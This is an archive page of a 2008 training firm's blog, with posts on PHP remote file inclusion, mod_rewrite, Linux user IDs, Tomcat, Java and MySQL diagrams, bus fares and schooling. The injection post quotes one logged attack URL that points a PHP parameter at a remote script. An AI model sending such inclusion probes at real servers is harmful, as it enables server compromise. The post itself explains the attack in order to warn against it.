« July 2008 | Main | September 2008 »
August 31, 2008
Injection Attacks - avoiding them in your PHP
"Please help me debug this virus." I'm paraphrasing something that was posted, a long while ago now, on a board I look after ... and I deleted the code pretty darned fast, as I didn't (and still don't) want to form a source of information for the less scrupulous.
I was looking at a few issues on one of our servers earlier today, and found myself looking through page after page of attempted injection attacks, where a rogue visitor to the web site (almost inevitable an automated program) supplies a parameter that's the URL from another site, in the hope that my PHP script will read that other page and run the code therein on my server ... here's an example of the sort of thing (and this one's quite well known, and I have obfuscated it anyway, so I am giving few secrets away)
/phphtml.php?htmlclass_path=http://titureddo.changeview.org/vacanze/vini.txt?
Now ... this issue turned out to be a side shoot of what I was hunting down, but it acts as a timely reminder to be very careful indeed about using PHP's require, include, passthru, exec, system (and that may not be an exhaustive list either) on anything that could remotely be a variable derived from a user input via $_REQUEST and friends.
What's the risk? It's an injection attack (yes, I have the code. No - I am not reproducing it here!) and if it succeeds in finding a hole in your system, chances are (and experiences I have heard of confirm) that it will install itself on your server which will then form a part of the breeding colony ...
How many hack attempts like this are we getting? I estimate it's now thousands per day.
How do I know if I'm infected Well ... if you search your web pages for kangkung or RoxTeam and find something that you didn't know was there ...
Please note that this is just an example of one form of injection attack - this article is not intended to provide a complete of definitive list in any shape or form!
Posted by gje at 11:54 PM | Comments (0)
Related topics: via article database
More about Graham Ellis of Well House Consultants
Useful link: PHP training
August 30, 2008
Pointing all the web pages in a directory at a database
Do you want a web directory of pages, where each of them has its own page name (URL), but there isn't really a separate page for you to maintain - all the data is held in some sort of database on your server, and the pages are created automatically from the data as they're requested?
You can do this very easily, using the mod_rewrite Apache module on your server, and a short PHP script. Here's a "shows you how" example.
1. Create the directory in which you want to pretend the pages live.
2. In that directory, create a file called .htaccess which contains mod_rewrite instructions to pass ALL appropriate URLs to a single PHP script.
3. Create a PHP script which generates the pages from the database or other information source.
I've placed an example at http://www.wellho.net/smr/index.html (of course, there isn't REALLY a file called index.html there!). And that links on to pages like http://www.wellho.net/smr/HLD.html (which, of course, isn't really there either!).
So what do the few (two!) files that I've told you about look like.
The .htaccess file is as follows:
AddType application/x-httpd-php .html
RewriteEngine On
RewriteRule ^index\.html$ stations.php?stn=ZZZ
RewriteRule ^$ stations.php?stn=ZZZ
RewriteRule ^(...)\.html$ stations.php?stn=$1
And the "magic" PHP script reads like this:
<?php
# Set up access to the data, and get content
# mod_rewrite has supplied the page name as
# the stn element of $_REQUEST
require ("tools/datasource.inc");
$wantpage = $_REQUEST[stn];
$fill = getcontent($wantpage);
# If there's a problem with the page requested,
# send a "page not found"
if (! $fill) {
header("HTTP/1.0 404 Not Found");
exit();
}
/* ----------------------------------------------- */
?>
<html>
<head>
<title><?= $fill[title] ?></title>
</head>
<body bgcolor=#FFFFCC>
<?= $fill[pagedata] ?>
<hr />
<h4>Railway Stations of Great Britain</h4>
This is a demonstration of how the Apache mod_rewrite
module can be used to serve a whole directory of web
pages through a single PHP script, with the data being
read from a database. You can learn about the techniques
used on our
<a href=http://www.wellho.net/course/ptfull.html>PHP
techniques Workshop</a><br /><br />
Copyright, Well House Consultants, <?= date("Y") ?><br />
Contact: <a href=mailto:info@wellho.net>info@wellho.net</a>
or +44 (0) 1225 708225.
</body>
</html>
There's one extra function call in here that I've not supplied as part of this example - and that's getcontent which I have referred to in an include file. You'll need to write your own code for this, depending on what your data source is and how you want to format the pages. I'm very happy to share techniques and data with you on our PHP techniques Workshop and / or PHP Programming Course, but as it's going to be a very different piece of code under the hood of each application, it's not reproduced here.
And a reminder ... in order to be able to run something like this on the web server you use, you do need to have PHP and mod_rewrite installed and accessible to you. I know that sounds obvious when I point it out, but you would be surprised .....
Posted by gje at 09:23 AM | Comments (0)
Related topics: via article database
August 29, 2008
The Rise and Rise of First Bus Fares
Firsts Bristol [zone] bus fares went up earlier this year. And I understand they're going up again next Monday. But that's all right, isn't it, because it's a commercial market and they can't price themselves out of the market?
Well - no - it's NOT all right; it's no longer really a commercial market. I'm not sure exactly what proportion of passengers are OAPs, who get a free service at the point of delivery, but it's pretty high - "A large proportion of bus services rely on OAPs as their main passenger numbers ..." according to The Times Online, 26 Feb 2008, with a headline that shouts Pools and parks face cuts to fund bus passes for everyone over 60.
So what's really happening with this latest fare rise on the buses? Could it - in part - work like this .... The Company raises the prices. So they may loose some of their minority customers - those who actually pay direct - but the "freebies" will continue to ride, without thought as to the cost. The local councils and other "Transport Authorities" have no choice but to pay up, but they then have to skew their budgets to meet that legal obligation. And the bus company is laughing all the way to the bank.
I always find it interesting to see what an organisation tells different audiences - reading data that wasn't written for the traveller's consumption can be most enlightening. Such as the First Group telling their shareholders that they're going to increase profits by an extra 10% each year, year on year. And I guess we may be seeing how they're achieving that.
Posted by gje at 07:00 AM | Comments (0)
Related topics: via article database
August 28, 2008
Does fruit and veg drag on?
Do we eat enough fruit and vegetables? I think I'm - personally - borderline with the recommended "five per day"; I take it as a flag to remind me that I should watch my diet in this area rather than something I keep careful track of - and in any case why should an apple and an orange count as "2" whereas 2 apples (or 2 oranges) would just count as 1.
The flag has encouraged Lisa and I to have a delivery, every 2 weeks, of a vegetable box containing whatevers in plentiful supply at the current time of year, augmented by a number of other tempting, weird wonderful and unusual things that we probably wouldn't pick off the shelves for ourselves. This thing on the left (do you know what it is?) has appeared in this week's box - together with instructions - and I was left with a choice of "should I eat it or protograph it? You see which option won out ... but I guess I can now go off and eat it if Lisa hasn't already done so.
[[Oh - it's a Dragon Fruit which is why there's that dreadful pun in the title of this item. G and S fruit, who make up and deliver the box, may be found here]]
Posted by gje at 07:50 AM | Comments (0)
Related topics: via article database
Easterholic
I've always been a little intrigued by awkward algorithms and conversions - such as Orndance Survery grid references to Latitude and Longitude (see here) and when Easter will fall (see here) for some earlier comments - but little did I think when I posted about Ken Palm and his Domain Name Sampling scheme where he's trying to sell something he borrow for free for hundreds of pounds (see here) the other day that I would get an email from someone with a similar - or (let's be fair) far deeper interest in the date of Easter. Yet I shouldn't be surprised - for when I posted up about the Domain Name Registry of America and wwmdirectory in the past, I've received a number of responses from a number of people who strike me as honest and hard working who have either been taken in or - in the case of the Gentleman of Easter - have also smelled a rat.
Oh - the "Date of Easter" page is to be found at www.dateofeaster.net/ and thanks to the alert provided by Ken Palm, also at www.dateofeaster.com. David Harper (David's home page) writes "Ironically, I ought to thank Ken for alerting me to the fact that the domain was finally available. Maybe I should send a postcard to his Colorado mailing address, which appears to be the local UPS store ...";
Posted by gje at 07:48 AM | Comments (0)
Related topics: via article database
August 27, 2008
What is my real and my effective ID? [Linux]
When you're logged in to a Linux or Unix system, you should normally be running through a user account - and not as the system administrator (root). The root account should be reserved for systems admin tasks where the extra authority is needed.
The who, users, whoami and id commands all tell you who you are running as ...
[trainee@crocus ~]$ who
trainee pts/0 Aug 25 15:39 (192.168.200.90)
[trainee@crocus ~]$ who am i
trainee pts/0 Aug 25 15:39 (192.168.200.90)
[trainee@crocus ~]$ users
trainee
[trainee@crocus ~]$ id -a
uid=500(trainee) gid=48(apache) groups=48(apache)
context=user_u:system_r:unconfined_t
[trainee@crocus ~]$ whoami
trainee
[trainee@crocus ~]$
If you need root access, you should gain it using the su command with the - option - and that changes your effective user id to root, but leaves your real id as your original user.
The who and the users command will report your real id.
The id -a and the whoami command will report your effective id.
[trainee@crocus ~]$ su -
Password: ********
[root@crocus ~]# who
trainee pts/0 Aug 25 15:39 (192.168.200.90)
[root@crocus ~]# who am i
trainee pts/0 Aug 25 15:39 (192.168.200.90)
[root@crocus ~]# users
trainee
[root@crocus ~]# id -a
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),
4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t
[root@crocus ~]# whoami
root
[root@crocus ~]#
[b]Remember[/b] to exit as soon as you have done your root-y stuff from the root account!
Posted by gje at 06:01 PM | Comments (0)
Related topics: via article database
Useful link: Linux training
August 26, 2008
The Longest Possible Day
I post here every day - or I try to at least. What is the longest possible gap between posts for me to leave, and still achieve that? Well - it's 48 hours and I'm very close to that today.
Not that it's been quiet - in fact I had my head down yesterday, taking a whole lot of pages that we transferred from the old server like the Open source Quiz pages and updating them to something more recent (quiz index, a quiz replacement page and some of the old questions), labelling images on pages for images searches at www.wwuu.co.uk, and loading Truetype fonts into our PHP installation, and enabling the necessary functions. This has allowed me - amongst other things to add dynamic wording on our First Great Western Train Running Diagram so that users of The Coffeeshop can see what's up at a glance, even on a day when there's a lot up. The we found that there were some sluggish responses from our server, which co-incidentally (?) always seem to come from at times when certain visitors are around. So they had to be looked into and dealt with on top of everything else, and as a matter of some priority.
Today has been "just" a Linux course - well, I say just a course but it's been fabulous fun as usual, and a great group of five, and it carries on tomorrow. Really rewarding course to give. Plus this, plus that, plus the other. But that's all lead to a gap that's going to be around 44 hours by the time I post his.
I was musing on the hotel side as to our longest gap between checkins. We have a lot of hotel guests from the USA, and they often arrive at Heathrow on morning flights before coming to Melksham, checking in to the hotel as early as 10 or 11 in the morning. If we know ahead of time, we're quite happy with this - especially at the start of the week, for a week's stay. And then at the end of the day, there are the people who spend a full day at home or work before travelling to their Melksham Hotel, perhaps not realising just how far it is for them - or guests who come in to Bristol Airport n the last flight from Dublin ... which then gets delayed. Again - we're quite open to this (we wouldn't be in the business if we weren't) but it can make for a mighty long day. Longest gap between checkins? On a Sunday - around 12 hours!
Posted by gje at 07:48 PM | Comments (0)
Related topics: via article database
August 25, 2008
Ken Palm, iTime, and Domain Name Tasting
Have you come across "domain name tasting" - try before you buy from ICANN. It is the practice of registering a domain name (and placing pay-per-click ads on it for a few days) to gauge whether the ads will make more than the annual cost of the domain. Read more about it here (link opens in separate window). Apparently, "domain name tasting" has developed from a five day grace period on domain registration which allows people to turn in domains that they have registered by mistake.
How did I come across Domain Name Tasting? From researching a Ken Palm of i-Time Marketing, Falcon, Colorado ... or of flkdomaindiscovery.com or of thepreferredurl.com or of Davenport, Iowa.
|
Ken wrote to me on Monday, offering to sell me phpquiz.com for $557. He wrote to me on Tuesday, with something he had forgotten to mention. On Thursday, he sent me a reminder and a nice link I could buy through. Saturday, and he tells me about a limited period discount he's offering. And on Sunday he writes "Make me an offer" ... |
I don't actually want to register phpquiz.com - we already have www.phpquiz.co.uk, but something in Ken's emails - his extravagant claims for the domain - made me have a look into him and I discovered what appears to be a "scam", where he tastes a domain for a few days, during which time he tries to sell it to interested parties in exactly the way he has tried to sell to us. I understand that if you are REALLY interested in a domain that Ken Palm is looking to sell, are willing to take a very slight risk and wait a few days for him to return it, you'll be able to register it for $10 or so. I learned that from here and here
An Update - shortly after writing this entry, I was contacted by David Harper, who has also had a similar set of emails from Ken Palm. David has written a far more detailed account here which will fill you in on this scam in much more detail - David, thank you for letting me know about your page (and thanks for the link too ;-) )
Posted by gje at 12:47 AM | Comments (0)
Related topics: via article database
August 24, 2008
More HowTo diagrams - MySQL, Tomcat and Java
Here are some more diagrams "off the wall" from last week - showing "howto" and "whatis" information for Tomcat, Java and MySQL
Some Tomcat and Java Fundamentals
On the right of the board ... the main java programs ...
• the Java compiler is called javac
• the Java Virtual machins is in a program called java
• the jar utility is used to bundle and unbundle lots of java files ("classes") and directories ("packages") and associated files too.
• javap may be used to look inside a class file if you want to find what externally visible members it contains.
The following environment variables are ones you should know about ...
• CLASSPATH which defines where you find Java classes
• PATH for the path on which the operating system searches for programs
• JAVA_HOME to tell Tomcat where it should Java
On the left of the board ... the crucial configuration files ...
• server.xml to define the main server configuration
• web.xml to define the base parameters for each web applications. Settings may be overridden by individual web.xml files within each applications.
• tomcat-users.xml to define the access account to the Tomcat Manager and potentially to other applications too if your programmers have used the facility.
A diagram of Tomcat ...
A SERVER (outer box) runs a SERVICE (next box) on an ENGINE (next box) supporting a HOST (inner box). A number of connectors (red splodges on the left) give access in to the server / service, supporting different protocols with different metrics. Very often, a production server will have just two services running - a SHUTDOWN service which may or may not be on the default 8005 port, and either an http or an ajp service - common port number are 8080, 8082 and 8009.
Some other words that crop up ...
• ant is a Java build tool - defining what has to be done to put together and install an application through a series of rules and dependencies. For those readers who have come across make, you may consider ant to be the Java equivalent.
• jasper The class that runs in your Tomcat Engine and lets you run JSPs (Java Server Pages)
• jikes The Just in Time Java Compiler ... rather than precompile everything, Just in Time technology lets you compile Java on the fly.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
The Connector Story
The majority of users of the Tomcat server also run an Apache httpd web server to "front" it - for load balancing, logging, serving out static pages, providing PHP support on the same domain as Java, for security, and for other reasons. The way it typically works is that it's httpd which is providing the post that's visible to web clients (browsers) and then httpd acts as a client to the Tomcat server - it's rather like you calling up your telephone company and talking to a single individual on the phone, but that individual going off and talking to others and / or looking things up on systems to help get you the answer whether it's direct from the person you're talking to or not.
There are at last 8 ways of combining httpd and Tomcat, with new options developing over time, older ones being deprecated and even (in the case of jk) a method being deprecated and then recalled. This board tells the story - but the full story is told (and the practicals done) on the course.
If I summarise the story ... these days, you'll probably choose mod_proxy or mod_jk, each of which has its own metrics. In some specific circumstances, mod_rewrite comes into its own too (and mod_rewrite is a fabulous module for other things!
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
MySQL - release levels
MySQL was an excellent database produce even back at release 3.23 - that's when it really took off - but it has come a long way sense, right through to the MySQL company being bought by Sun Microsystems earlier this (2008) year for - we are told - 1 billion dollars.
This board summarises some of the metrics that have changed between the various releases, and some of the things that you (the person deploying them or programming for them) really should be aware of.
In olden days, data was held in a table format called isam which was replaced by myisam ... or rather myisam was added, as the MySQL team is very careful to maintain data integrity so the old ones will still work. MyISAM tables do not support transactions, which were added around release 4.0, together this InnoDb tables to support them. Stored procedures were added at release 5.
One of the most significant changes, though, was actually made between releases 4.0 and 4.1, when the drivers and in particular the security of passwords were beefed up. That's no bad thing in that the connection from the clients to the MySQL server is now better protected that it was, but it has the unfortunate side effect thatit means that you can upgrade your MySQL from a 4.0 or earlier release to a 4.1 or later release and find that you applications no longer work ... that you need to rebuild PHP for example! There ARE ways that you can instruct a recent MySQL to accept logins to specific accounts with the older and less secure passwords, which is an excellent short term fix, but that's going beyond the scope of this particular board.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
Table Types in MySQL
The MySQL database supports a number of different table types (formats) which are listed here.
• Isam Which are the oldest type, and now largely superseded by MyIsam which have better data integrity in the even of an unexpected system halt, and are portable in their binary format between bigendian and littleendian processor systems.
• MyIsam The default table type - ideal for many straightforward applications, with the data held (but you should NOT access it directly!) in directories with the same name as the database, and in there in files with the same name as the table names.
• Heap A memory based table, ideal for very quick access but limited as to the column types you may use, and lost on server restart.
• bdb MySQL supports the Berkeley Database Format which allows you to use MySQL based applications to directly edit thinsg like NIS tables, mail aliases and the X Windows System colour tables.
• InnoDb InnoDb tables are typically used for the more "meaty" applications. They're stored in large files which are preallocated to help with efficiency at the Operating System level, and provide the ability to checkpoint and rollback - so that's transaction processing. They have not taken over from MyISAM tables as they're more involved to set up / use / administer, and some of the locking issues can leave them as being less rather than more practical in some circumstances.
• Cluster A highly specialised, memory based table type which (I hope) you'll not come across in your typical, day to day, use of MySQL. I understand it's designed for telephoney switching applications ...
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
A balancing scheme for servers. Also MySQL account strategys
The upper diagram on this page shows a scheme for load balancing (rather than clustering!) between a series of near-identically configured servers. All users of the web site contact httpd on the leftmost box, which farms out the heavy work to Tomcat instances on the following boxes. The Tomcat instances do MySQL selects (i.e. read from the database) on their own box, but save any changes back to the rightmost box. Finally, the MySQL master is on the rightmost box, with slave servers handing off it on all the other boxes.
For a read-mostly application (and this scheme was drawn up for such!) this is a good solution. For low traffic installations it can all work on one box, but that can be widened out as need be. In terms of system failure and recovery, the MySQL master / client scheme allows for easy failower, and in terms of all the http traffic coming in at the front, you could use a heartbeat script on the second (and other) machines to keep track, or an extra balancer.
The lower diagram shows the authorisation levels for a MySQL account:
• Accounts have global permissions over all databases granted in the user table in the mysql database, plus
• Permissions of a per database basis granted in the db table plus
• per-table permissions plus
• per-column permissions.
Since some permission types simply don't apply once you get down to the more limited scopes, there are a large number of possible permissions than can be granted globally, reducing to just a few on a per column basis. Remember that the permissions granted in each of the categories are ADDATIVE so that if some one is granted select_priv in the user table they can read anything being served, even if select_priv is turned off to them for specific databases.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
One distribution for three separate computers
The MySQL distribution includes the Mysql daemon (mysqld) which you'll want to install on your database server computer, the MySQL client programs which you may want to install on your own desktop, and the libraries that you may need to have on your web server prior to building PHP. You may be a little suprised that all three come in the same download / distribution and wonder why they're not separated my view is that actually the MySQL folks have made the right decision on this one - it just needs a wee bit of explanation.
The board goes on to show you how the various elements work together, and how the daemon provides a "gatehouse" through which all database accesses must be made. Within the data compound, you'll see a division into a series of databases, with a number of tables within each of them.
Did you notice the file names /etc/my.cnf and ~/.my.cnf also on the board? MySQL is a database product and keeps the majority of its configuration information internally within its tables (if it didn't could well make a comment about having a dog and barking yourself). However, a handful of parameters are needed before the daemon and its client programs can actually reach the data - and those parameters go into a file called /etc/my.cnf (system wide) or .my.cnf in each user's home directory for each parameter that's set on a peruser basis.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
Are these diagrams useful? They're the second (and final) instalment of a set - and youcan find the first instalment here
Posted by gje at 10:08 AM | Comments (0)
Related topics: via article database
Useful links: Java training, MySQL training
3 hours from Milton Keynes
I finished training at the end of Friday in Milton Keynes ... with a 2 to 3 hour drive home through the traffic travelling to start the Bank Holiday. Why rush it? I kept off the motorways, and stopped on the way to take a picture or two. Here are some of the images from the beside road from Milton Keynes to Melksham ...
Walton Hall, the Open University, Milton Keynes
Wind Turbines in the Oxfordshire Countryside - taken from the A420 between Faringdon and Shrivenham.
Where the A420 (Oxford to Swindon road crosses the main London to Swindon and South Wales Railway, you'll find this twin arch bridge. It didn't always look like this - originally, the arch you can see on the left was for the road ... and the Wilts and Berks canal passed through the arch on the right.
Silbury Hill, near Avebury on the Marlborough Downs
Bailing the hay, on the Marlborough Downs - near Windmill Hill.
And so to Melksham - the old Spa houses on the Devizes Road, pictured in the low evening sun.
Posted by gje at 12:20 AM | Comments (0)
Related topics: via article database
August 23, 2008
July child ponders on August children
It's the "result season" when each year we hear about the successes of our 18 year olds at A levels, and 16 year olds at GCSEs, with an inevitable (it seems) rise in pass rates and a cry of "they're getting too easy". I'm not going to jump into that particular controversy, but I will congratulate anyone who's just got their results on what they've achieved - if you put in hard work to get those results, then congratulations are in order.
But there's one subject that has come up - at least in the media I have been following - this year, in relation to how "August Children" are said to be disadvantaged. It works like this ... children in the UK start school, at the age of 5, in September - so that there are children who are nearly 6 with September and October birthdays, mixed in with children who have only just stopped saying "I am 4" with August and July birthdays. And that's a substantial gap that young in life.
Unless the system is radically changed (for example, to have three sets of classes each year throughout the school system, with September, January and May starts) there's nothing prescriptive that could be done. But I'm not sure that doing anything prescriptive is the right answer anyway - the system should be flexible enough to be tailorable for each individual child, with the professionals such as the teachers able to work with the parents [[as appropriate]] to get the best of each and every young person.
I heard parents talking of their 29th August child being immature for school, and of how being the little one in the class effected them all the way through their school career and beyond, but then feedback (via email and otherwise) to the programs from young people, some of whom are still pupils quite early in the system, saying how much they have personally gained from being the younger ones - how it has helped to make them more robust and more mature and being in a group that's slightly older has set them higher targets to go for and achieve. Exactly my point that the solution should not be a prescriptive one.
A declaration of interest here. I'm a July child, and still have a vague memory of utter confusion the first day I went to Crofton School. Whether I was just unprepared, or too young, or if it happens that first day for everyone like that I have no way of knowing. And I most certainly have school day memories very strongly coloured by being bullied. And yet on the other hand, my parents did make the most enormous sacrifices (Dad may well read this - THANK YOU) to ensure that I wasn't just another pea in the pod; being at the younger end, I could have been easily lead off the rails and I know that I could get easily bored which wouldn't have been exactly a recipe for highly concentrated success from that initial environment.
So I put my position as the "youngster of the class" - in the following environments at Dulwich and Sevenoaks - as a distinct advantage and challenge. For sure, there was break time bullying especially at Sevenoaks, but that in turn lead me towards other activities which were in themselves educational while others were kicking footballs around and indulging in something akin to tribal warfare. And it lead me to a hardened and perhaps fierce independence where I didn't rely on others.
I wasn't top of the class at either of the schools - but there must of been something that the teachers recognised - perhaps they saw me as "coasting along". I might describe my approach, if truth be know, as only and lazily doing what was needed on subjects that didn't interest me. So they put me through an accelerated stream where I took 3 years in 2 and ended up in following years in classes with a 2 year age spread, and sitting my 'A' levels while still just 16. I managed to get through all four, although not at the 'A' and 'A*' grades that are almost the norm these days [[hey - we are looking back 35 years!]] ... and that early school finish gave me the opportunity - and what a golden opportunity - to take a "gap" year before starting University, getting some real work experience under my belt. And that was such a good year too which has helped make me some things I'm proud to be today.
Do I have a conclusion? If this entry is anything more than a rambling, it's a plea to the bean counters and school system managers to treat each and every child based on their individual needs and circumstances. My own example shows how everyone IS different and it shouldn't be forgotten. And it also says a big "thank you" to those who looked at me as an individual and helped (sometimes having to push me quite hard!) me come out with what - I feel - is an experience that set me up well for life.
Posted by gje at 09:23 AM | Comments (0)
Related topics: via article database
What is built in to this httpd and PHP?
If you build your own tailored Apache httpd and PHP, you should take a full backup when you're done, and also fully document which options you selected and modules you included in the build.
You SHOULD do so, of course ... but it's something that you can overlook all too easily. If you find yourself looking at your own system (or perhaps one you have taken over) and wondering "and what is built into THIS?" there are ways to find out.
The file config.nice is saved by the ./configure that you'll run prior to building Apache httpd, and it contains a log of the options you selected:
#! /bin/sh
#
# Created by configure
"./configure" \
"--enable-so" \
"--enable-proxy" \
"--enable-proxy-http" \
"--enable-proxy-balancer" \
"--enable-rewrite" \
"--enable-proxy-ajp" \
"--prefix=/usr/local/apache2.2" \
"$@"
If you have an already installed web server (without access to those development directories) the httpd daemon itself can be called up with the -l option, to give you a list of compiled-in modules. This is the same example as the build above, and has been tuned to allow me to install PHP (the so module) and to allow for a variety of rewriting or URLs and proxying on to application servers - further httpds, Tomcats running Java, etc ...
[trainee@crocus ~]$ cd /usr/local/apache2.2
[trainee@crocus apache2.2]$ ./bin/httpd -l
Compiled in modules:
core.c
mod_authn_file.c
mod_authn_default.c
mod_authz_host.c
mod_authz_groupfile.c
mod_authz_user.c
mod_authz_default.c
mod_auth_basic.c
mod_include.c
mod_filter.c
mod_log_config.c
mod_env.c
mod_setenvif.c
mod_proxy.c
mod_proxy_connect.c
mod_proxy_ftp.c
mod_proxy_http.c
mod_proxy_ajp.c
mod_proxy_balancer.c
prefork.c
http_core.c
mod_mime.c
mod_status.c
mod_autoindex.c
mod_asis.c
mod_cgi.c
mod_negotiation.c
mod_dir.c
mod_actions.c
mod_userdir.c
mod_alias.c
mod_rewrite.c
mod_so.c
[trainee@crocus apache2.2]$
So you now know what you've installed in your httpd web server, and you can learn more by looking at the httpd.conf file, and any other files it includes. But what about your PHP?
You should find that PHP is configured in via lines in the httpd.conf file:
LoadModule php5_module modules/libphp5.so
AddType application/x-httpd-php .php .phtml
and that the library really is in the modules subdirectory.
For details of the build, use PHP to tell you via a test page that reads as follows:
<?php phpinfo() ?>
(Yes - just that one line) which when you browse to it will give you a long web page report.
You can also run "phpinfo" from PHP on the command line:
bash-3.2$ php -r 'phpinfo();'
PHP Version => 5.2.x
Build Date => Jul 17 2008 07:00:56
Configure Command => './configure' '--with-apxs2=/usr/local/apache2/bin/apxs'
'--with-mysql=/usr/local/mysql' '--with-gd' '--with-png-dir=/usr'
'--with-jpeg-dir=/usr'
Server API => Command Line Interface
Virtual Directory Support => disabled
Configuration File (php.ini) Path => /usr/local/lib
And so on ...
(Note - this is a much trimmed example!)
Posted by gje at 07:57 AM | Comments (0)
Related topics: via article database
Useful link: PHP training
August 22, 2008
mod_proxy and mod_proxy_ajp - httpd
Under Apache httpd version 2.2, mod_proxy_ajp provides a neat way for you to forward requests to an appropriately configured Apache Tomcat server using the more terse ajp protocol rather than the verbose http. Here are some sample configuration lines from httpd.conf, forwarding requests under the /coffee directory via http and requests under /whiskey via ajp.
ProxyPass /coffee http://192.168.200.153:9082/latmjdemo
ProxyPassReverse /coffee http://192.168.200.153:9082/latmjdemo
ProxyPass /whiskey ajp://192.168.200.153:9009/latmjdemo
ProxyPassReverse /whiskey ajp://192.168.200.153:9009/latmjdemo
This is purely a demo - you probably wouldn't mix them in this way in real life.
mod_proxy_ajp provides a quick and easy alternative to mod_jk if you're running Apache httpd 2.2 (or later in due course), but the example above lacks the flexibility of worker pools and the like that mod_jk provide. To some extend mod_proxy_balancer can help mod_proxy_ajp, but I would expect both mod_jk and mod_proxy_ajp to both have their own proponents and optimum uses
Posted by gje at 07:17 AM | Comments (0)
Related topics: via article database
Diagrams to show you how - Tomcat, Java, PHP
I like to work with a flipchart occasionally, and I have been doing so quite a bit this week, which is a week that I'm giving a wide ranging web server deployment course under Linux, covering both LAMP / PHP technologies, and Tomcat / Java too. Why do I like using a flipchart? Because it encourages me to come up with a number of simple but effective diagrams which I can look back to and add to my notes / re-use. Here are some from the last couple of days ...
The ancestry of Java and C# from C and C++
The left hand diagram on this page shows how the C language was extended into C++, with source code compatibility maintained - resulting in a complex language. Java (originally called Oak, but I have crossed that name out!) took the best of C++ but removed the need for compatibility, simplified, added network awareness and the virtual machine concept. Never the less, it is C / C++ based.
J++ from Microsoft took the Java standard and added things to it - which was great if you wanted to run J++ but caused issues if you developed code under J+ and expected it to run on a standard Java Virtual Machine; J++ was decidedly NOT the way it had been intended for Java to be taken forward, and it had a short life.
Microsoft's C# follows the same philosophy that Java followed - best of C++, network aware, virtual machines, simplified ... so it's little wonder that it bears more than a passing resemblance to Java. It came a long a bit later, though, and has learned from Java's early experience. As a "differentiator", Java is the more portable across platforms, but C# runs in a .net virtual machine meaning that developers in the environment have an extra choice of other languages, such as Visual Basic.
The diagram to the right shows how Java source code (in a .java file) is compiled into a class file via the javac program, and is then run within a Java Virtual Machine or JVM. The JVM is rather like the engine of a car, and just line buying a car ... you need more than just the engine - in this case you need the whole of a JRE or Java Runtime Environment, which provides your application with all the extra standard classes it needs in order to run.
There's a choice when you download Java between a JRE (lower half of the diagram) and a full JSDK (Java Software Development Kit) which is the JRE plus the compiler an tools. If you see the terms JDK, SDK and JSDK mixed and matched, they're all the same thing - it's just Sun's habit of renaming things from time to time.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
Releases of Java, and which download to choose
Sun have actually done a very good job with Java in terms of an initial specification that hasn't had to be broken with any sort of incompatible source code - which means that it goes up very nicely from Java 1.0 to Java release 1.6.
But would you buy into a product that was 10 years old, and still at release one-point-summat? The marketing folks thought you wouldn't so Java was re-christened Java 2 - we have releases like Java 2 1.3 and Java 2 1.4 - and then with a leap to show it was really well established, we went on to Java 5 and now Java 6. All very well in terms of showing change and progress in the product, but it's really still 1.6.
My diagram also shows Apache Tomcat releases - Tomcat 6 works well with Java 6 (good, and nice to see some synchronisation!). Java 5 goes with - err - Tomcat 5.5 and Java 2 1.4 with Tomcat 5.0. It is also possible to run Tomcat 5.5 with Java 6, and Tomcat 5.0 with Java 5, but you'll need some extra patches if you want to run Tomcat 5.5 with Java 2 1.4 (and, no, I am NOT going back any further)
On the right of my diagram, I was helping my users select which of all the plethora of options they'll need to download to run Tomcat on their Linux servers, supporting Servlets and JSPs. It worked out as follows:
• Sun's Java, rather than anyone else or the oft-supplied gcj / gij.
• The standard edition, rather than micro or enterprise. True, one of the Enterprise jars provides Tomcat support, but that's also included with the Tomcat distribution.
• The Development kit rather than just the Runtime Environment. "Why do I need a compiler on the live server" you may ask. Because you'll be running JSPs which include Java source code you'll need to be able to handle!
• The appropriate download for Linux (Java class files may be portable, but the JVM most certainly is NOT!)
• The appropriate download for the hardware (processor) you're running on - for example i586. (Same portability note!)
• and of course a version that's a release that's compatible with the Tomcat you wish to run.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
Three guises for the Java Virtual Machine
You can run your Java programs as stand alone programs on your computer, on your web server (in the form of Servlets or JSPs) and in your browser (as applets).
In a stand alone program, the programmer provides a method called main which runs, once, when the program is called up.
For a servlet, running on a web server with an engine such as Tomcat's Catalina, the programmer takes a standard pre-written class and overwrites (extends) one of more of its methods - such as init, destroy, doGet and doPost. Unlike a stand alone program, these don't run just once when Tomcat invokes them - either the doGet or the doPost method will run many times, retained in the server's memory - like turning the handle of a machine each time a visitor browses to the URL which triggers them.
Applets run within a browser plugin. When a web page that includes and applet is loaded, a method called init is run once, followed by a method called start when the window becomes visible. The paint method id called repeatedly to keep updating / refreshing the output - giving dynamic graphics - until the window ceases to be visible when the stop method is called. When the user moves on to the next page or kills the browser window, the destroy method is called.
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
A flowchart for each stage of a web application
A well designed web based application should work in a manner to something like I am showing in this flowchart. Whether you're looking at a doGet or doPost method in a Java Servlet, or a phase of a PHP application, the pattern is a common one ...
• read any cookie or hidden field to see if this is a continuing session or if we know who the user is
• if we do know the user, read in his details - "shopping cart" - to date, which will be from a file of a database such as MySQL
• process the data that's been entered, which I characterise as finishing up from the previous page. You'll see a multiway branch such as a switch used here, as it's a very good idea (later slide) to have all the stages of an application controlled from a single process.
• prepare for the next page. That will be a branch again and USUALLY for the next page in the sequence, but if the user made an error in entering his data it will refresh the previous page.
• Save the (updated) details back to the shopping cart
• Read it the HTML template for the response page
• Complete and send out the next page / form
Want to learn more from me on this subject? - see here
Looking for more articles and examples? - see here
The 4 layer model
You shouldn't write all the code for a web application in a single file. The file will get too big and too hard to maintain, and you'll be preventing yourself from reusing parts of the code in other pages / applications. You'll also end up with a file that's got a mixture or program code and HTML in it, meaning that it can only be maintained by a person who is skilled in BOTH.
What is better? Try the 4 layer model.
1. Your Top level / controlling code
2. The application logic (also known as the business logic) which contains all the database and calculation code.
3. The Web helpers - your standard routines for (example) ensuring that you are not open to injection attacks, that input boxes are "sticky", and that forms have a consistent way of handling errors
